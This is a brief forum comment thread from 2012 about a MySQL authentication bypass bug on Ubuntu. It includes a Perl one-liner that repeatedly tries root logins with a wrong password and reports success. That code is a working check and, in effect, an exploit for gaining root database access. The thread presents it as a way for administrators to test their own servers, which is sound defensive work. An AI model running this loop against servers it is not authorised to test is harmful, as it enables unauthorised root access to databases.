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dangrossman on June 11, 2012 | parent | context | favorite | on: Security vulnerability in MySQL ubuntu

Try to connect to MySQL as root with a made-up password several hundred times. If you successfully connect, the bug is present and you know how it was compiled.

ushi on June 11, 2012 | [–]

Hehe, ok ok.

gringomorcego on June 11, 2012 | [–]

where is the perl one-liner :P?

mcpherrinm on June 11, 2012 | [–]

perl -e 'use DBI; for($i=0;$i<4096;$i++){DBI->connect("dbi:mysql:", "root", "nope", {PrintError=>0}) and die "Vulnerable!";}'

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